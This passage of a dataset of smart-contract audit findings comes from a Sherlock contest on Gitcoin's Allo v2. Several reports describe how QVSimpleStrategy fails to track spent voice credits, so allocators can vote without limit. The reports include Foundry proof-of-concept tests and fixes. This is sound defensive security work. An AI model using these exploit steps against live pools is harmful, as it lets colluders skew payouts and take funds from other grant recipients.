result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSubtract the votes used from `_allocator.voiceCredits` to effectively track `voiceCredits` and then the checks in `QVSimpleStrategy::_allocate` will be effective.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/582.md"}} +{"title":"Unlimited voting permitted by allocators manipulates distribution of funds in quadratic voting strategies","severity":"medium","body":"Dandy Arctic Buffalo\n\nhigh\n\n# Unlimited voting permitted by allocators manipulates distribution of funds in quadratic voting strategies\nVoice credits, which translate to votes for eligible fund recipients, can be granted without limit. This allows vote manipulation that results in skewed distribution of funds.\n\n## Vulnerability Detail\nThe [QVBaseStrategy.sol](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol) contract uses designated \"allocator\" accounts to distribute an allotment of \"voice credits\" among candidates, those credits translate to votes via a square root calculation, and the proportion of votes per recipient determines the share of funds that each eligible (\"accepted\") recipient receives from the funding pool. \n\nThere is an [attempt to limit the voice credits per allocator](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L104), but credits can actually be allocated without limit due to a logic error: during allocation, an allocator's `voiceCredits` counter is not updated to indicate the credits spent.\n\nThe only restriction on each allocator is that they cannot allocate more than `maxVoiceCreditsPerAllocator` in one transaction. But, they are free to call `allocate()` repeatedly with any value up to the maximum.\n\n## Impact\nAn allocator can give unlimited votes and unduly influence the payout distribution to recipients. A sybil attack where the attacker uses 2 accounts to act as an accepted recipient and as an allocator (or collusion between an accepted recipient and allocator), can swing the vote and payout distribution drastically in favor of the attacker(s), and thereby steal funds from all other accepted recipients.\n\n## Code Snippet\n[QVBaseStrategy._qv_allocate() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L499-L534) does not increase `_allocator.voiceCredits`:\n```solidity\n /// @notice Allocate voice credits to a recipient\n /// @dev This can only be called during active allocation period\n /// @param _allocator The allocator details\n /// @param _recipient The recipient details\n /// @param _recipientId The ID of the recipient\n /// @param _voiceCreditsToAllocate The voice credits to allocate to the recipient\n /// @param _sender The sender of the transaction\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\nSo, [this check in QVSimpleStrategy](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L150C5-L150C5) will always be called with the uninitialized value 0 for `allocator.voiceCredits` and thereby permit repeated calls to grant credits without regard for past allocations:\n```solidity\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n.\n.\n.\n\n /// @notice Checks if the allocator has voice credits left\n /// @param _voiceCreditsToAllocate The voice credits to allocate\n /// @param _allocatedVoiceCredits The allocated voice credits\n /// @return true if the allocator has voice credits left\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd to `_qv_allocate()`:\n```solidity\n_allocator.voiceCredits += _voiceCreditsToAllocate;\n```\nNote that `QVBaseStrategyTest` uses `QVBaseStrategyTestMock` which has an implementation of `_hasVoiceCreditsLeft()` that always returns `true`. So, it is not currently capable of testing the `maxVoiceCreditsPerAllocator` limit.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/560.md"}} +{"title":"Allocator can allocate more voiceCredits than maxVoiceCreditsPerAllocator.","severity":"medium","body":"Damaged Cornflower Turkey\n\nhigh\n\n# Allocator can allocate more voiceCredits than maxVoiceCreditsPerAllocator.\n`allocator.voiceCredits` gets never updated resulting in every allocator being able to vote more than `maxVoiceCreditsPerAllocator`.\n## Vulnerability Detail\nThe specs [define](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/README.md?plain=1#L47) `maxVoiceCreditsPerAllocator` as:\n```solidity\nMaximum voice credits that can be allocated by a single allocator.\n```\n\nThis is supposed to be checked in `QVSimpleStrategy._allocate`:\n```javascript\nsource:contracts/strategies/qv-simple/QVSimpleStrategy.sol\n\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n\t//.. omitted code\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\t//.. omitted code\n }\n```\n\nThe problem is that `allocator.voiceCredits` is not updated after the voiceCredits have been casted so this will always be set to `0`.\n\nThis results in the `QVSimpleStrategy._hasVoiceCreditsLeft()` function to always pass if `voiceCreditsToAllocate + 0 <= maxVoiceCreditsPerAllocator`\n```javascript\nsource:contracts/strategies/qv-simple/QVSimpleStrategy.sol\n\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\nHere's a POC that showcases an allocator being able to allocate 100 voiceCredits for multiple times while the `maxVoiceCreditsPerAllocator` is set to 100.\n```javascript\nsource: test/foundry/strategies/QVSimpleStrategy.t.sol\n\n // put this in test/foundry/strategies/QVSimpleStrategy.t.sol\n // run using:\n // forge test --match-contract QVSimpleStrategy --match-test test_alloMoreThanMax -vvvv\n function test_alloMoreThanMax() public {\n // Register a recipient\n address recipientId = __register_accept_recipient();\n\n // Create a random allocator address\n address allocator = randomAddress();\n\n // Add an allocator\n vm.prank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n // Warp into the time window where allocation is possible\n vm.warp(allocationStartTime + 10);\n \n // Verify that maxVoiceCreditsPerAllocator == 100\n assertEq(qvSimpleStrategy().maxVoiceCreditsPerAllocator(), 100);\n\n // Create allocation data\n bytes memory allocateData = __generateAllocation(recipientId, 100);\n\n vm.startPrank(address(allo()));\n // Keep calling .allocate multiple times with 100 voiceCredits.\n // This should not be possible because maxVoiceCreditsPerAllocator == 100\n // However, all calls will succeed.\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n vm.stopPrank();\n }\n```\n\nWith the current implementation, consider the following scenario:\n1. Participant and allocator work together.\n2. An allocator can spam allocate votes to a participant.\n3. Since the payout happens based on the amount of votes, the participant will end up stealing the majority of the funds, sharing it with the allocator.\n\n## Impact\nAllocator and participant can easily game the system to get a majority payout.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\nManual Review\n## Recommendation\nAdd the following line to `QVBaseStrategy._qv_allocate()`:\n```diff\nfunction _qv_allocate() {\n// .. omitted code\nL529\t_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\nL530 _allocator.votesCastToRecipient[_recipientId] += voteResult;\n+\t _allocator.voiceCredits += _voiceCreditsToAllocate;\n// .. omitted code\n}\n```\nThis will ensure the allocator struct of the allocator is correctly updated after casting his voiceCredits.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/500.md"}} +{"title":"The total amount of credits per `allocator` can be exceed `maxVoiceCreditsPerAllocator` in `QVSimpleStrategy`.","severity":"medium","body":"Hot Zinc Hippo\n\nhigh\n\n# The total amount of credits per `allocator` can be exceed `maxVoiceCreditsPerAllocator` in `QVSimpleStrategy`.\nWhen `_sender` allocates, `allocator.voiceCredits` is not updated, so the total amount of credits per `allocator` can exceed `maxVoiceCreditsPerAllocator` in `QVSimpleStrategy`.\n\n## Vulnerability Detail\n`QVSimpleStrategy._allocate` is as following.\n```solidity\nFile: QVSimpleStrategy.sol\n107: function _allocate(bytes memory _data, address _sender) internal virtual override {\n108: (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n109: \n110: // spin up the structs in storage for updating\n111: Recipient storage recipient = recipients[recipientId];\n112: Allocator storage allocator = allocators[_sender];\n113: \n114: // check that the sender can allocate votes\n115: if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n116: \n117: // check that the recipient is accepted\n118: if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n119: \n120: // check that the recipient has voice credits left to allocate\n121: if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n122: \n123: _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n124: }\n```\nOn the other hand, `_hasVoiceCreditsLeft` called by this function is as following.\n```solidity\nFile: QVSimpleStrategy.sol\n144: function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n145: internal\n146: view\n147: override\n148: returns (bool)\n149: {\n150: return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n151: }\n```\nFrom the implementation of these functions, we can see that the amount of total credits per `allocator` cannot exceed `maxVoiceCreditsPerAllocator`.\nSo `_allocate` necessarily has to update `allocator.voiceCredits`. \nBut the real implementation of `_allocate` didn't update `allocator.voiceCredits` anywhere.\nAs a result, the total amount of credits per allocator can exceed `maxVoiceCreditsPerAllocator`.\n\nMeanwhile, this operation is implemented correctly in `HackathonQVStrategy._allocate`#L282.\n```solidity\nFile: HackathonQVStrategy.sol\n263: function _allocate(bytes memory _data, address _sender) internal override {\n264: (address recipientId, uint256 nftId, uint256 voiceCreditsToAllocate) =\n265: abi.decode(_data, (address, uint256, uint256));\n266: \n267: // check that the sender can allocate votes\n268: if (nft.ownerOf(nftId) != _sender) {\n269: revert UNAUTHORIZED();\n270: }\n271: \n272: // spin up the structs in storage for updating\n273: Recipient storage recipient = recipients[recipientId];\n274: Allocator storage allocator = allocators[_sender];\n275: \n276: if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, voiceCreditsUsedPerNftId[nftId])) {\n277: revert INVALID();\n278: }\n279: \n280: _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n281: \n282: voiceCreditsUsedPerNftId[nftId] += voiceCreditsToAllocate;\n283: \n284: TmpRecipient memory tmp = TmpRecipient({recipientId: address(0), voteRank: 0, foundRecipientAtIndex: 0});\n285: \n```\n\n\n## Impact\nThe total amount of credits per allocator can exceed `maxVoiceCreditsPerAllocator`.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\n## Tool used\nManual Review\n\n## Recommendation\nBy the end of `QVSimpleStrategy._allocate`, the following operation has to be added.\n```solidity\n _allocator.voiceCredits += voiceCreditsToAllocate;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/473.md"}} +{"title":"allocator.voiceCredits is never accumulated throughout the QVSimpleStrategy._allocate flow","severity":"medium","body":"Furry Cider Panda\n\nhigh\n\n# allocator.voiceCredits is never accumulated throughout the QVSimpleStrategy._allocate flow\n\nEach allocator has an [[Allocator](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L140-L146)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L140-L146) structure that records voting information, where `voiceCredits` is used to record allocated voice credits. However, `voiceCredits` will never be accumulated, which results in the allocator being able to ignore the limit of `maxVoiceCreditsPerAllocator` and keep voting for a specific recipientId. In the end, the recipientId can take away far more payout than it could have received.\n\n## Vulnerability Detail\n\n```solidity\nFile: contracts\\strategies\\qv-simple\\QVSimpleStrategy.sol\n107: function _allocate(bytes memory _data, address _sender) internal virtual override {\n108: (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n109: \n110: // spin up the structs in storage for updating\n111: Recipient storage recipient = recipients[recipientId];\n112: Allocator storage allocator = allocators[_sender];\n...... \n120: // check that the recipient has voice credits left to allocate\n121:-> if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n122: \n123: _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n124: }\n\n144: function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n145: internal\n146: view\n147: override\n148: returns (bool)\n149: { //@audit _allocatedVoiceCredits = allocator.voiceCredits\n150:-> return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n151: }\n```\n\nThe second parameter of `_hasVoiceCreditsLeft` is `allocator.voiceCredits`. This function is to check whether the allocator still has enough voiceCredits to allocate.\n\nL123, [[_qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534) is called, where `allocator.voiceCredits` is not accumulated.\n\nSince `allocator.voiceCredits` is always 0, the allocator can vote at will regardless of the limit of `maxVoiceCreditsPerAllocator`.\n\nConsider the following scenario:\n\nFor simplicity, there are two allocators (alice and bob), `maxVoiceCreditsPerAllocator` is 100. There are two recipients (A and B).\n\n1. Alice votes for A with 100 VoiceCredits by calling `Allo.allocate`. After that, Alice thinks she has no VoiceCredit left. A got 10 votes (`sqrt(100) = 10`).\n2. bob votes for B with 100 VoiceCredits by calling `Allo.allocate`. He does this 100 times. After that, B got 100 votes (`sqrt(100 * 100) = 100`).\n3. The total number of votes is `100 + 10 = 110`.\n4. The pool manager calls `Allo.distribute` to distribute tokens for A and B. The amount of distributed tokens is calculated by [[_getPayout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571C22-L571C32)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571C22-L571C32): `payoutA = poolAmount * (10/110) = poolAmount * 0.09`, `payoutB = poolAmount * (100/110) = poolAmount * 0.91`.\n\nWe can see that B got 91% of the funds, while A only got 9% of the funds.\n\n## Impact\n\n`Allocator.voiceCredits` is never accumulated, resulting in the following impacts:\n\n1. The allocator can vote for specific recipients without restrictions, seriously damaging the fairness of voting.\n2. The distribution of funds depends on the number of votes received by each recipient. The more votes received, the more funds will be distributed.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```fix\nFile: contracts\\strategies\\qv-simple\\QVSimpleStrategy.sol\n107: function _allocate(bytes memory _data, address _sender) internal virtual override {\n......\n120: // check that the recipient has voice credits left to allocate\n121: if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n122:+++ allocator.voiceCredits += voiceCreditsToAllocate;\n123: _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n124: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/466.md"}} +{"title":"Allocators can vote infinitely in QVSimpleStrategy","severity":"medium","body":"Recumbent Citron Mustang\n\nhigh\n\n# Allocators can vote infinitely in QVSimpleStrategy\n\nIn the QVSimpleStrategy the [`_allocate()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107) function allows allocators to vote for a `recipient`. It checks that they have enough vote left but the storage variable used is never updated thus allowing them to vote infinitely.\n\n## Vulnerability Detail\n\nThe [`_allocate()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107) function allows allocators to vote for a `recipient`.\n\nWhen casting the vote there is a check to make sure the allocator still has enough votes available. But this check will never revert as the vote already used are never saved in the `allocator.voiceCredits` storage variable, thus when checking it against `maxVoiceCreditsPerAllocator` it will always be less.\n\nThis result in allocators being able to cast vote up to `maxVoiceCreditsPerAllocator`value as much as they want.\n\n## Impact\n\nHigh. Allocators can vote infinitely and change the final result.\n\n## Code Snippet\n\n[Code with the error.](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L120C8-L121C101)\n\n```solidity\n // check that the recipient has voice credits left to allocate\nif (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\n\nHere is a poc that can be copy pasted in QVSimpleStrategy.t.sol.\n\n```solidity\nfunction test_allocate_multiple_times() public {\n //get recipient and allocator\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n //add allocator\n vm.prank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n vm.warp(allocationStartTime + 10);\n\n //max vote is 100\n bytes memory allocateData = __generateAllocation(recipientId, 100);\n\n //vote a first time\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n\n QVSimpleStrategy.Recipient memory _recipient = qvSimpleStrategy().getRecipient(recipientId);\n uint previousVote = _recipient.totalVotesReceived;\n\n //vote again even tho we shouldn't be able\n qvSimpleStrategy().allocate(allocateData, allocator);\n\n _recipient = qvSimpleStrategy().getRecipient(recipientId);\n uint newVote = _recipient.totalVotesReceived;\n\n //vote value for recipient increased\n assertLt(previousVote, newVote);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate the storage variable `allocator.voiceCredits` when calling the `_allocate()` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/451.md"}} +{"title":"`QVSimpleStrategy::_allocate`","severity":"medium","body":"Future Sangria Giraffe\n\nmedium\n\n# `QVSimpleStrategy::_allocate`\n\nIn the `QVBaseStrategy::_qv_allocate` function, the `_allocator.voiceCredits` is not updated.\nThe `_allocator.voiceCredits` is used in the `QVSimpleStrategy::_allocate` to check whether the allocator has voiceCredits left by `QVSimpleStrategy::_hasVoiceCreditsLeft` function.\nAs the result, an allocator can use unlimited voice credits by calling the `Allo::allocate` function repeatedly.\n\n\n## Vulnerability Detail\n\nWhen an allocator calls `Allo::allocate` function for a `QVSimpleStrategy`, the call trace is as following:\n```solidity\nAllo::allocate -> Allo::_allocate\n-> BaseStrategy::allocate -> QVSimpleStrategy::_allocate -> QVBaseStrategy::_qv_allocate\n```\n\nIn the `QVSimpleStrategy::_allocate` function, `QVSimpleStrategy::_hasVoiceCreditsLeft` was called\nto check the sum of the voice credits to allocate and the voice credits allocated before is less or equal to the `maxVoiceCreditsPerAllocator`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L120-L123\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\nIn the `QVBaseStrategy::_qv_allocate` function, however, does not update the `_allocator.voiceCredits` value.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n\n## Impact\n\nAll allocators in the `QVSimpleStrategy` can spend unlimited voice credits, therefore unlimited votes, even though there is check to limit the voice credits to spend (`QVSimpleStrategy::_hasVoiceCreditsLeft`). To achieve the unlimited vote, the allocator should simply call the `Allo::allocate` repeatedly.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L120-L123\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nupdate the voiceCredits in the `QVBaseStrategy::_qv_allocate`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529-L530\n\n```solidity\n529 _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n530 _allocator.votesCastToRecipient[_recipientId] += voteResult;\n+ _allocator.voiceCredits = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/444.md"}} +{"title":"voiceCredits not accumulated","severity":"medium","body":"Lucky Sand Tapir\n\nhigh\n\n# voiceCredits not accumulated\n\nVoiceCredits are not accumulated resulting in an Allocator being able to vote without limit, thus affecting the amount distributed to Recipients\n\n## Vulnerability Detail\n\nThe _allocate method limits the maximum number of votes each allocator can assign to a recipient by calling _hasVoiceCreditsLeft, as shown in the code marked //found below\n\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n...\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID(); // found\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\n\nThe value of allocator.voiceCredits will always be equal to 0 without accumulation. That is, as long as voiceCreditsToAllocate is less than maxVoiceCreditsPerAllocator, the allocator can keep voting until the data overflows. The voting results directly affect the distribution of the amount, as shown in the code marked //found below.\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes; // found\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n\n## Impact\n\n Affecting the amount distributed to Recipients\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAccumulate the voiceCreditsToAllocate used each time into allocator.voiceCredits","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/405.md"}} +{"title":"The `QVSimpleStrategy` permits an allocator to assign an infinite number of voice credits.","severity":"medium","body":"Macho Maroon Scorpion\n\nhigh\n\n# The `QVSimpleStrategy` permits an allocator to assign an infinite number of voice credits.\nIn the QVSimpleStrategy contract, the allocation phase has an oversight: an allocator can distribute voice credits to recipients without adhering to the maximum limit defined during the contract's initialization. This bypasses intended restrictions and may lead to unintended consequences.\n\n\n## Vulnerability Detail\n\nIn the `QVSimpleStrategy` contract, there's a loophole during the allocation phase. When an allocator assigns voice credits to a recipient, the internal function `_hasVoiceCreditsLeft()` is invoked to ensure the allocator hasn't exceeded their allowed limit set by `maxVoiceCreditsPerAllocator`, which is determined during the contract's initialization.\n\nThe catch is, `_hasVoiceCreditsLeft()` only validates the amount being allocated in a single transaction and not the cumulative amount previously allocated by the allocator. This means, by distributing voice credits over multiple transactions in smaller quantities, an allocator can easily surpass the `maxVoiceCreditsPerAllocator` limit. This oversight can potentially be exploited.\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n\n## Impact\nDuring the allocation phase in the QVSimpleStrategy contract, allocators can assign unlimited voice credits to recipients. This unchecked behavior allows them to amplify the quadratic rewards for recipients without any bounds.\n\nThis oversight has been classified as a high-severity issue, primarily because it deviates significantly from the specifications outlined in the documentation. Such a discrepancy could lead to unintended consequences and potential misuse of the system.\n\n```solidity\nmaxVoiceCreditsPerAllocator (uint256): Maximum voice credits that can be allocated by a single allocator.\n_hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits) internal view override returns (bool): Checks if an allocator has enough voice credits left to allocate.\n```\n\n## Code Snippet\n\n```solidity\nfunction testRevert_allocate_unlimitedVoiceCredits_PASS() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n vm.warp(allocationStartTime + 10);\n assertEq(qvSimpleStrategy().maxVoiceCreditsPerAllocator(), 100);\n\n bytes memory allocateData = __generateAllocation(recipientId, 100);\n\n vm.stopPrank();\n vm.expectEmit(true,false, false,false);\n emit Allocated(recipientId, 9.949e9, allocator);\n vm.startPrank(address(allo()));\n vm.expectEmit(false,false, false,true);\n emit AllocatorVoiceCreditQVSimple(100,0);\n qvSimpleStrategy().allocate(allocateData, allocator);\n vm.expectEmit(false,false, false,true);\n emit AllocatorVoiceCreditQVSimple(100,0);\n qvSimpleStrategy().allocate(allocateData, allocator);\n \n }\n```\n\n## Tool used\n\nVS Code\nFoundry\n\n## Recommendation\n\nIn the `QVSimpleStrategy` contract, to keep a record of the total voice credits allocated by each allocator, it's crucial to increment the respective allocator's `voiceCredits` after a successful allocation. This helps ensure accurate tracking and enforces limits.\n\nThe suggested update would be:\n\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n console.log(\"_allocate::allocator.voiceCredits=\",allocator.voiceCredits);\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, 